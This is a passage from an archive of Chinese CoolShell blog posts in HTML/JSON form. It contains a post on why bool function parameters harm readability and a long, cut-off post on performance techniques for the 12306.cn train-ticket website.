align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-9-8 千万不要把 bool 设计成函数参数.html",
    "content": "<html><body><p>我们有很多Coding Style 或 代码规范。但这一条可能会经常被我们所遗忘，就是我们经常会在函数的参数里使用bool参数，这会大大地降低代码的可读性。不信？我们先来看看下面的代码。</p>\n<p>当你读到下面的代码，你会觉得这个代码是什么意思？</p>\n<p><code class=\"EnlighterJSRAW\">widget-&gt;repaint(false);</code></p>\n<p>是不要repaint吗？还是别的什么意思？看了文档后，我们才知道这个参数是immediate， 也就是说，false代表不立即重画，true代码立即重画。</p>\n<p>Windows API中也有这样一个函数：InvalidateRect，当你看到下面的代码，你会觉得是什么意思？</p>\n<p><code class=\"EnlighterJSRAW\">InvalidateRect(hwnd, lpRect,  false);</code></p>\n<p>我们先不说InvalidateRect这个函数名取得有多糟糕，我们先说一下那个false参数？invalidate意为“让XXX无效”，false是什么意思？双重否定？是肯定的意思？如果你看到这样的代码，你会相当的费解的。于是，你要去看一下文档，或是InvalidateRect的函数定义，你会看到那个参数是 <strong>BOOL</strong><em> bErase</em>，意思是，是否要重画背景。</p>\n<p>这样的事情有很多，再看下面的代码，想把str中的”%USER%”替换成真实的用户名：</p>\n<p><code class=\"EnlighterJSRAW\">str.replace(\"%USER%\", user, false);   // Qt 3</code></p>\n<p>TNND，那个false是什么意思？不替换吗？还是别的什么意思，看了文档才知道，false代码大小写不敏感的替换。</p>\n<p>其实，如果你使用枚举变量/常量，而不是bool变量，你会让你的代码更易读，如：</p>\n<p><span id=\"more-5444\"></span></p>\n<pre class=\"EnlighterJSRAW\">widget-&gt;repaint(PAINT::immediate);\nwidget-&gt;repaint(PAINT::deffer);\n\nInvalidateRect(hwnd, lpRect,  !RepantBackground);\n\nstr.replace(\"%USER%\", user, Qt::CaseInsensitive); // Qt 4</pre>\n<p>如果对这个事不以为然的话，我们再来看一些别的示例，你不妨猜猜看看下面的代码：</p>\n<p><code class=\"EnlighterJSRAW\">component.setCentered(true, false);</code></p>\n<p>这什么玩意儿啊？看了文档你才知道，这原来是 setCentered(centered, autoUpdate);</p>\n<p><code class=\"EnlighterJSRAW\">new Textbox(300, 100, false, true);</code></p>\n<p>这又是什么啊？看了文档才知道，这是创建一个文本框，第三个参数是是否要滚动条，第四个是是否要自动换行。TNND。</p>\n<p>上面的情况还不算最差，看看下面的双重否定。</p>\n<pre class=\"EnlighterJSRAW\">component.setDisabled(false);\nfilter.setCaseInsensitive(false)</pre>\n<p>再来一个，如果你读到下面的代码，相信你会和我一样，要么石化了，要么凌乱了。</p>\n<pre class=\"EnlighterJSRAW\">event.initKeyEvent(\"keypress\", true, true, null, null,\n                    false, false, false, false, 9, 0); </pre>\n<p>看完这篇文章，我希望你再也不要把bool为作为函数参数了。除非两个原因：</p>\n<ol>\n<li>你100%确认不会带来阅读上的问题，比如Java的 setVisible (bool).</li>\n<li>你100%确认你想去<a href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\" title=\"如何写出无法维护的代码\">写出无法维护很难阅读的代码</a>。</li>\n</ol>\n<p>【更新2011/9/8】当然，别的参数也会有一样的问题，比如：<code>new Textbox(300, 100, false, true);</code>中的300 和 100，不知道是坐标还是长宽，只不过，一般长度或坐标这样的参数都不会被hard code，都会有变量名，而bool这种参数经常性地被传成true 和 false。 bool参数表现得更为明显一些罢了。</p>\n<p><span style=\"color: #cc0000;\">所以，程序中不要出现magic number，true/false 也是一种 magic number。但是，我想告诉大家，从API设计的角度来说，你无法强制调用者用常量来取代true/false，定义成枚举类型是最好的选择</span>。</p>\n<p>最后，如果你想设计一个好的API，强烈推荐你读一下Nokia的Qt的《<a href=\"http://qt-project.org/wiki/API-Design-Principles\" target=\"_blank\">API Design Principles</a>》，本文就是其中的“<a href=\"http://developer.qt.nokia.com/wiki/API_Design_Principles#e7794937cba47d5e9c54d50a6a32328b\" target=\"_blank\">Boolean Trap</a>”。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-16 由12306.cn谈谈网站性能技术.html",
    "content": "<html><body><p>12306.cn网站挂了，被全国人民骂了。我这两天也在思考这个事，我想以这个事来粗略地和大家讨论一下网站性能的问题。因为仓促，而且完全基于本人有限的经验和了解，所以，如果有什么问题还请大家一起讨论和指正。（这又是一篇长文，只讨论性能问题，不讨论那些UI，用户体验，或是是否把支付和购票下单环节分开的功能性的东西）</p>\n<h4>业务</h4>\n<p>任何技术都离不开业务需求，所以，要说明性能问题，首先还是想先说说业务问题。</p>\n<ul>\n<li><strong>其一</strong>，<strong>有人可能把这个东西和QQ或是网游相比</strong>。但我觉得这两者是不一样的，网游和QQ在线或是登录时访问的更多的是用户自己的数据，而订票系统访问的是中心的票量数据，这是不一样的。不要觉得网游或是QQ能行你就以为这是一样的。网游和QQ 的后端负载相对于电子商务的系统还是简单。</li>\n</ul>\n<ul>\n<li><strong>其二</strong>，<strong>有人说春节期间订火车的这个事好像网站的秒杀活动</strong>。的确很相似，但是如果你的思考不在表面的话，你会发现这也有些不一样。火车票这个事，一方面会伴随着大量的查询操作，更BT的是下单的时候需要对数据库很多的一致性的操作，一方面是从起点到终点各个分段票的一致性，另一方面，买的人路线、车次、时间选择有很多，会不停地改变下单方式。而秒杀，直接杀就好了，没有那么多查询和一致性的问题。另外，关于秒杀，完全可以做成只接受前N个用户的请求（完全不操作后端的任何数据， 仅仅只是对用户的下单操作log），这种业务，只需要在内存cache中放好可秒杀的数量，还可以把数据分布开来放，100商品，10台服务器一台放10个，无需在当时操作任何数据库。可以订单数够后，停止秒杀，然后批量写数据库。而且秒杀的商品不多。火车票这个不是像秒杀那么简单的，春运时间，几乎所有的票都是热门票，而且几乎是全国人民都来了，而且还有转车业务，多条线的库存都要做事务操作，你想想吧，这有多难。（淘宝的双十一也就3百万用户，而火车票瞬时有千万级别甚至是亿级别的）（<strong>更新：2014年1月11日</strong>：来了淘宝后，对淘宝的系统有了解，淘宝的秒杀活动，本质上是用输验证码并在CDN上把用户直接过滤掉了，比如：1千万个用户过滤了只剩2万个用户，这样数据库就顶得住了）</li>\n</ul>\n<ul>\n<li><strong>其三</strong>，<strong>有人拿这个系统和奥运会的票务系统比较</strong>。我觉得还是不一样。虽然奥运会的票务系统当年也一上线就废了。但是奥运会用的是抽奖的方式，也就是说不存在先来先得的抢的方式，而且，是事后抽奖，事前只需要收信息，事前不需要保证数据一致性，没有锁，很容易水平扩展。</li>\n</ul>\n<ul>\n<li><strong>其四</strong>，<strong>订票系统应该和电子商务的订单系统很相似</strong>，都是需要对库存进行：1）占住库存，2）支付（可选），3）扣除库存的操作。这个是需要有一致性的检查的，也就是在并发时需要对数据加锁的。B2C的电商基本上都会把这个事干成异步的，也就是说，你下的订单并不是马上处理的，而是延时处理的，只有成功处理了，系统才会给你一封确认邮件说是订单成功。我相信有很多朋友都收到认单不成功的邮件。<strong>这就是说，数据一致性在并发下是一个瓶颈</strong>。</li>\n</ul>\n<p><span id=\"more-6470\"></span></p>\n<ul>\n<li><strong>其五</strong>，<strong>铁路的票务业务很变态</strong>，其采用的是突然放票，而有的票又远远不够大家分，所以，大家才会有抢票这种有中国特色的业务的做法。于是当票放出来的时候，就会有几百万人甚至上千万人杀上去，查询，下单。几十分钟内，一个网站能接受几千万的访问量，这个是很恐怖的事情。<a href=\"http://www.linuxso.com/architecture/17006.html\" target=\"_blank\">据说12306的高峰访问是10亿PV</a>，集中在早8点到10点，每秒PV在高峰时上千万。</li>\n</ul>\n<p>多说几句：</p>\n<ul>\n<li><strong>库存是B2C的恶梦，库存管理相当的复杂</strong>。不信，你可以问问所有传统和电务零售业的企业，看看他们管理库存是多么难的一件事。不然，就不会有那么多人在问凡客的库存问题了。（你还可以看看《乔布斯传》，你就知道为什么Tim会接任Apple的CEO了，最主要的原因是他搞定了苹果的库存周期问题）</li>\n</ul>\n<ul>\n<li><strong>对于一个网站来说，浏览网页的高负载很容易搞定，查询的负载有一定的难度去处理，不过还是可以通过缓存查询结果来搞定，最难的就是下单的负载</strong>。因为要访问库存啊，对于下单，基本上是用异步来搞定的。去年双11节，淘宝的每小时的订单数大约在60万左右，京东一天也才能支持40万（居然比12306还差），亚马逊5年前一小时可支持70万订单量。可见，下订单的操作并没有我们相像的那么性能高。</li>\n</ul>\n<ul>\n<li><strong>淘宝要比B2C的网站要简单得多，因为没有仓库</strong>，所以，不存在像B2C这样有N个仓库对同一商品库存更新和查询的操作。下单的时候，B2C的 网站要去找一个仓库，又要离用户近，又要有库存，这需要很多计算。试想，你在北京买了一本书，北京的仓库没货了，就要从周边的仓库调，那就要去看看沈阳或 是西安的仓库有没有货，如果没有，又得看看江苏的仓库，等等。淘宝的就没有那么多事了，每个商户有自己的库存，库存就是一个数字，并且库存分到商户头上了，反而有利于性能扩展。</li>\n</ul>\n<ul>\n<li><strong>数据一致性才是真正的性能瓶颈</strong>。有 人说nginx可以搞定每秒10万的静态请求，我不怀疑。但这只是静态请求，理论值，只要带宽、I/O够强，服务器计算能力够，并支持的并发连接数顶得住10万TCP链接的建立 的话，那没有问题。但在数据一致性面前，这10万就完完全全成了一个可望不可及的理论值了。</li>\n</ul>\n<p>我说那么多，我只是想从业务上告诉大家，我们需要从业务上真正了解春运铁路订票这样业务的变态之处。</p>\n<h4>前端性能优化技术</h4>\n<p>要解决性能的问题，有很多种常用的方法，我在下面列举一下，我相信12306这个网站使用下面的这些技术会让其性能有质的飞跃。</p>\n<h5>一、前端负载均衡</h5>\n<p>通过DNS的负载均衡器（一般在路由器上根据路由的负载重定向）可以把用户的访问均匀地分散在多个Web服务器上。这样可以减少Web服务器的请求负载。因为http的请求都是短作业，所以，可以通过很简单的负载均衡器来完成这一功能。最好是有CDN网络让用户连接与其最近的服务器（CDN通常伴随着分布式存储）。（关于负载均衡更为详细的说明见“后端的负载均衡”）</p>\n<h5>二、减少前端链接数</h5>\n<p>我看了一下12306.cn，打开主页需要建60多个HTTP连接，车票预订页面则有70多个HTTP请求，现在的浏览器都是并发请求的（当然，浏览器的一个页面的并发数是有限的，但是你挡不住用户开多个页面，而且，后端服务器TCP链接在前端断开始，还不会马上释放或重要）。所以，只要有100万个用户，就有可能会有6000万个链接（访问第一次后有了浏览器端的cache，这个数会下来，就算只有20%也是百万级的链接数），太多了。一个登录查询页面就好了。把js打成一个文件，把css也打成一个文件，把图标也打成一个文件，用css分块展示。把链接数减到最低。</p>\n<h5>三、减少网页大小增加带宽</h5>\n<p>这个世界不是哪个公司都敢做图片服务的，因为图片太耗带宽了。现在宽带时代很难有人能体会到当拨号时代做个图页都不敢用图片的情形（现在在手机端浏览也是这个情形）。我查看了一下12306首页的需要下载的总文件大小大约在900KB左右，如果你访问过了，浏览器会帮你缓存很多，只需下载10K左右的文件。但是我们可以想像一个极端一点的案例，1百万用户同时访问，且都是第一次访问，每人下载量需要1M，如果需要在120秒内返回，那么就需要，1M * 1M /120 * 8 = 66Gbps的带宽。很惊人吧。所以，我估计在当天，12306的阻塞基本上应该是网络带宽，所以，你可能看到的是没有响应。后面随着浏览器的缓存帮助12306减少很多带宽占用，于是负载一下就到了后端，后端的数据处理瓶颈一下就出来。于是你会看到很多http 500之类的错误。这说明后端服务器垮了。</p>\n<h5>四、前端页面静态化</h5>\n<p>静态化一些不常变的页面和数据，并gzip一下。<del>还有一个变态的方法是把这些静态页面放在/dev/shm下，这个目录就是内存，直接从内存中把文件读出来返回，这样可以减少昂贵的磁盘I/O</del>。使用nginx的sendfile功能可以让这些静态文件直接在内核心态交换，可以极大增加性能。</p>\n<h5>五、优化查询</h5>\n<p>很多人查询都是在查一样的，完全可以用反向代理合并这些并发的相同的查询。这样的技术主要用查询结果缓存来实现，第一次查询走数据库获得数据，并把数据放到缓存，后面的查询统统直接访问高速缓存。为每个查询做Hash，使用NoSQL的技术可以完成这个优化。（这个技术也可以用做静态页面）</p>\n<p>对于火车票量的查询，个人觉得不要显示数字，就显示一个“有”或“无”就好了，这样可以大大简化系统复杂度，并提升性能。把查询对数据库的负载分出去，从而让数据库可以更好地为下单的人服务。</p>\n<h5>六、缓存的问题</h5>\n<p>缓存可以用来缓存动态页面，也可以用来缓存查询的数据。缓存通常有那么几个问题：</p>\n<p>1）缓存的更新。也叫缓存和数据库的同步。有这么几种方法，一是缓存time out，让缓存失效，重查，二是，由后端通知更新，一量后端发生变化，通知前端更新。前者实现起来比较简单，但实时性不高，后者实现起来比较复杂 ，但实时性高。</p>\n<p>2）缓存的换页。内存可能不够，所以，需要把一些不活跃的数据换出内存，这个和操作系统的内存换页和交换内存很相似。FIFO、LRU、LFU都是比较经典的换页算法。相关内容参看<a href=\"http://en.wikipedia.org/wiki/Cache_algorithms\" target=\"_blank\">Wikipeida的缓存算法</a>。</p>\n<p>3）缓存的重建和持久化。缓存在内存，系统总要维护，所以，缓存就会丢失，如果缓存没了，就需要重建，如果数据量很大，缓存重建的过程会很慢，这会影响生产环境，所以，缓存的持久化也是需要考虑的。</p>\n<p>诸多强大的NoSQL都很好支持了上述三大缓存的问题。</p>\n<h4>后端性能优化技术</h4>\n<p>前面讨论了前端性能的优化技术，于是前端可能就不是瓶颈问题了。那么性能问题就会到后端数据上来了。下面说几个后端常见的性能优化技术。</p>\n<h5>一、数据冗余</h5>\n<p>关于数据冗余，也就是说，把我们的数据库的数据冗余处理，也就是减少表连接这样的开销比较大的操作，但这样会牺牲数据的一致性。风险比较大。很多人把NoSQL用做数据，快是快了，因为数据冗余了，但这对数据一致性有大的风险。这需要根据不同的业务进行分析和处理。（注意：用关系型数据库很容易移植到NoSQL上，但是反过来从NoSQL到关系型就难了）</p>\n<h5>二、数据镜像</h5>\n<p>几乎所有主流的数据库都支持镜像，也就是replication。数据库的镜像带来的好处就是可以做负载均衡。把一台数据库的负载均分到多台上，同时又保证了数据一致性（Oracle的SCN）。最重要的是，这样还可以有高可用性，一台废了，还有另一台在服务。</p>\n<p>数据镜像的数据一致性可能是个复杂的问题，所以我们要在单条数据上进行数据分区，也就是说，把一个畅销商品的库存均分到不同的服务器上，如，一个畅销商品有1万的库存，我们可以设置10台服务器，每台服务器上有1000个库存，这就好像B2C的仓库一样。</p>\n<h5>三、数据分区</h5>\n<p>数据镜像不能解决的一个问题就是数据表里的记录太多，导致数据库操作太慢。所以，把数据分区。数据分区有很多种做法，一般来说有下面这几种：</p>\n<p>1）把数据把某种逻辑来分类。比如火车票的订票系统可以按各铁路局来分，可按各种车型分，可以按始发站分，可以按目的地分……，反正就是把一张表拆成多张有一样的字段但是不同种类的表，这样，这些表就可以存在不同的机器上以达到分担负载的目的。</p>\n<p>2）把数据按字段分，也就是竖着分表。比如把一些不经常改的数据放在一个表里，经常改的数据放在另外多个表里。把一张表变成1对1的关系，这样，你可以减少表的字段个数，同样可以提升一定的性能。另外，字段多会造成一条记录的存储会被放到不同的页表里，这对于读写性能都有问题。但这样一来会有很多复杂的控制。</p>\n<p>3）平均分表。因为第一种方法是并不一定平均分均，可能某个种类的数据还是很多。所以，也有采用平均分配的方式，通过主键ID的范围来分表。</p>\n<p>4）同一数据分区。这个在上面数据镜像提过。也就是把同一商品的库存值分到不同的服务器上，比如有10000个库存，可以分到10台服务器上，一台上有1000个库存。然后负载均衡。</p>\n<p>这三种分区都有好有坏。最常用的还是第一种。数据一旦分区，你就需要有一个或是多个调度来让你的前端程序知道去哪里找数据。<strong>把火车票的数据分区，并放在各个省市，会对12306这个系统有非常有意义的质的性能的提高</strong>。</p>\n<h5>四、后端系统负载均衡</h5>\n<p>前面说了数据分区，数据分区可以在一定程度上减轻负载，但是无法减轻热销商品的负载，对于火车票来说，可以认为是大城市的某些主干线上的车票。这就需要使用数据镜像来减轻负载。使用数据镜像，你必然要使用负载均衡，在后端，我们可能很难使用像路由器上的负载均衡器，因为那是均衡流量的，因为流量并不代表服务器的繁忙程度。因此，我们需要一个任务分配系统，其还能监控各个服务器的负载情况。</p>\n<p>任务分配服务器有一些难点：</p>\n<ul>\n<li>负载情况比较复杂。什么叫忙？是CPU高？还是磁盘I/O高？还是内存使用高？还是并发高？还是内存换页率高？你可能需要全部都要考虑。这些信息要发送给那个任务分配器上，由任务分配器挑选一台负载最轻的服务器来处理。</li>\n</ul>\n<ul>\n<li>任务分配服务器上需要对任务队列，不能丢任务啊，所以还需要持久化。并且可以以批量的方式把任务分配给计算服务器。</li>\n</ul>\n<ul>\n<li>任务分配服务器死了怎么办？这里需要一些如Live-Standby或是failover等高可用性的技术。我们还需要注意那些持久化了的任务的队列如何转移到别的服务器上的问题。</li>\n</ul>\n<p>我看到有很多系统都用静态的方式来分配，有的用hash，有的就简单地轮流分析。这些都不够好，一个是不能完美地负载均衡，另一个静态的方法的致命缺陷是，如果有一台计算服务器死机了，或是我们需要加入新的服务器，对于我们的分配器来说，都需要知道的。另外，还要重算哈希（一致性hash可以部分解决这个问题）。</p>\n<p>还有一种方法是使用抢占式的方式进行负载均衡，由下游的计算服务器去任务服务器上拿任务。让这些计算服务器自己决定自己是否要任务。这样的好处是可以简化系统的复杂度，而且还可以任意实时地减少或增加计算服务器。但是唯一不好的就是，如果有一些任务只能在某种服务器上处理，这可能会引入一些复杂度。不过总体来说，这种方法可能是比较好的负载均衡。</p>\n<h5>五、异步、 throttle 和 批量处理</h5>\n<p>异步、throttle（节流阀） 和批量处理都需要对并发请求数做队列处理的。</p>\n<ul>\n<li>异步在业务上一般来说就是收集请求，然后延时处理。在技术上就是可以把各个处理程序做成并行的，也就可以水平扩展了。但是异步的技术问题大概有这些，a）被调用方的结果返回，会涉及进程线程间通信的问题。b）如果程序需要回滚，回滚会有点复杂。c）异步通常都会伴随多线程多进程，并发的控制也相对麻烦一些。d）很多异步系统都用消息机制，消息的丢失和乱序也会是比较复杂的问题。</li>\n</ul>\n<ul>\n<li>throttle 技术其实并不提升性能，这个技术主要是防止系统被超过自己不能处理的流量给搞垮了，这其实是个保护机制。使用throttle技术一般来说是对于一些自己无法控制的系统，比如，和你网站对接的银行系统。</li>\n</ul>\n<ul>\n<li>批量处理的技术，是把一堆基本相同的请求批量处理。比如，大家同时购买同一个商品，没有必要你买一个我就写一次数据库，完全可以收集到一定数量的请求，一次操作。这个技术可以用作很多方面。比如节省网络带宽，我们都知道网络上的MTU（最大传输单元），以态网是1500字节，光纤可以达到4000多个字节，如果你的一个网络包没有放满这个MTU，那就是在浪费网络带宽，因为网卡的驱动程序只有一块一块地读效率才会高。因此，网络发包时，我们需要收集到足够多的信息后再做网络I/O，这也是一种批量处理的方式。批量处理的敌人是流量低，所以，批量处理的系统一般都会设置上两个阀值，一个是作业量，另一个是timeout，只要有一个条件满足，就会开始提交处理。</li>\n</ul>\n<p>所以，<strong>只要是异步，一般都会有throttle机制，一般都会有队列来排队，有队列，就会有持久化，而系统一般都会使用批量的方式来处理</strong>。</p>\n<p><a href=\"http://blog.codingnow.com/2012/01/ticket_queue.html\" target=\"_blank\">云风同学设计的“排队系统”</a> 就是这个技术。这和电子商务的订单系统很相似，就是说，我的系统收到了你的购票下单请求，但是我还没有真正处理，我的系统会跟据我自己的处理能力来throttle住这些大量的请求，并一点一点地处理。一旦处理完成，我就可以发邮件或短信告诉用户你来可以真正购票了。</p>\n<p>在这里，我想通过业务和用户需求方面讨论一下云风同学的这个排队系统，因为其从技术上看似解决了这个问题，但是从业务和用户需求上来说可能还是有一些值得我们去深入思考的地方：</p>\n<p style=\"padding-left: 30px;\">1）<strong>队列的DoS攻击</strong>。首先，我们思考一下，这个队是个单纯地排队的吗？这样做还不够好，因为这样我们不能杜绝黄牛，而且单纯的ticket_id很容易发生DoS攻击，比如，我发起N个 ticket_id，进入购票流程后，我不买，我就耗你半个小时，很容易我就可以让想买票的人几天都买不到票。有人说，用户应该要用身份证来排队， 这样在购买里就必需要用这个身份证来买，但这也还不能杜绝黄牛排队或是号贩子。因为他们可以注册N个帐号来排队，但就是不买。黄牛这些人这个时候只需要干一个事，把网站搞得正常人不能访问，让用户只能通过他们来买。</p>\n<p style=\"padding-left: 30px;\">2）<strong>对列的一致性</strong>？对这个队列的操作是不是需要锁？只要有锁，性能一定上不去。试想，100万个人同时要求你来分配位置号，这个队列将会成为性能瓶颈。你一定没有数据库实现得性能好，所以，可能比现在还差。<strong>抢数据库和抢队列本质上是一样的</strong>。</p>\n<p style=\"padding-left: 30px;\">3）<strong>队列的等待时间</strong>。购票时间半小时够不够？多不多？要是那时用户正好不能上网呢？如果时间短了，用户不够时间操作也会抱怨，如果时间长了，后面在排队的那些人也会抱怨。这个方法可能在实际操作上会有很多问题。另外，半个小时太长了，这完全不现实，我们用15分钟来举例：有1千万用户，每一个时刻只能放进去1万个，这1万个用户需要15分钟完成所有操作，那么，这1千万用户全部处理完，需要1000*15m = 250小时，10天半，火车早开了。（我并非信口开河，<a href=\"http://t.cn/z0g7dGJ\" target=\"_blank\">根据铁道部专家的说明</a>：这几天，平均一天下单100万，所以，处理1000万的用户需要十天。这个计算可能有点简单了，我只是想说，<strong>在这样低负载的系统下用排队可能都不能解决业务问题</strong>）</p>\n<p style=\"padding-left: 30px;\">4）<strong>队列的分布式</strong>。这个排队系统只有一个队列好吗？还不足够好。因为，如果你放进去的可以购票的人如果在买同一个车次的同样的类型的票（比如某动车卧铺），还是等于在抢票，也就是说系统的负载还是会有可能集中到其中某台服务器上。因此，最好的方法是根据用户的需求——提供出发地和目的地，来对用户进行排队。而这样一来，队列也就可以是多个，只要是多个队列，就可以水平扩展了。这样可以解决性能问题，但是没有解决用户长时间排队的问题。</p>\n<p>我觉得完全可以向网上购物学习。<strong>在排队（下单）的时候，收集好用户的信息和想要买的票，并允许用户设置购票的优先级，比如，A车次卧铺买 不到就买 B车次的卧铺，如果还买不到就买硬座等等，然后用户把所需的钱先充值好，接下来就是系统完全自动地异步处理订单</strong>。成功不成功都发短信或邮件通知用户。这样，系统不仅可以省去那半个小时的用户交互时间，自动化加快处理，还可以合并相同购票请求的人，进行批处理（减少数据库的操作次数）。<strong>这种方法最妙的事是可以知道这些排队用户的需求，不但可以优化用户的队列，把用户分布到不同的队列，还可以像亚马逊的心愿单一样，通过一些计算就可以让铁道部做车次统筹安排和调整</strong>（最后，排队系统（下单系统）还是要保存在数据库里的或做持久化，不能只放在内存中，不然机器一down，就等着被骂吧）。</p>\n<h4>小结</h4>\n<p>写了那么多，我小结一下：</p>\n<p>0）<strong>无论你怎么设计，你的系统一定要能容易地水平扩展</strong>。也就是说，你的整个数据流中，所有的环节都要能够水平扩展。这样，当你的系统有性能问题时，“加30倍的服务器”才不会被人讥笑。</p>\n<p>1）<strong>上述的技术不是一朝一夕能搞定的，没有长期的积累，基本无望</strong>。我们可以看到，无论你用哪种都会引发一些复杂性，设计总是在做一种权衡。</p>\n<p>2）集中式的卖票很难搞定，使用上述的技术可以让订票系统能有几佰倍的性能提升。而在<strong>各个省市建分站，分开卖票，是能让现有系统性能有质的提升的最好方法</strong>。</p>\n<p>3）<strong>春运前夕抢票且票量供远小于求这种业务模式是相当变态的</strong>，让几千万甚至上亿的人在某个早晨的8点钟同时登录同时抢票的这种业务模式是变态中的变态。业务形态的变态决定了无论他们怎么办干一定会被骂。</p>\n<p>4）<strong>为了那么一两个星期而搞那么大的系统</strong>，而其它时间都在闲着，有些可惜了，这也就是铁路才干得出来这样的事了。</p>\n<p><em><strong>更新2012年9月27日 </strong></em></p>\n<p style=\"text-align: center;\"><strong> Alexa 统计的12306的PV</strong> 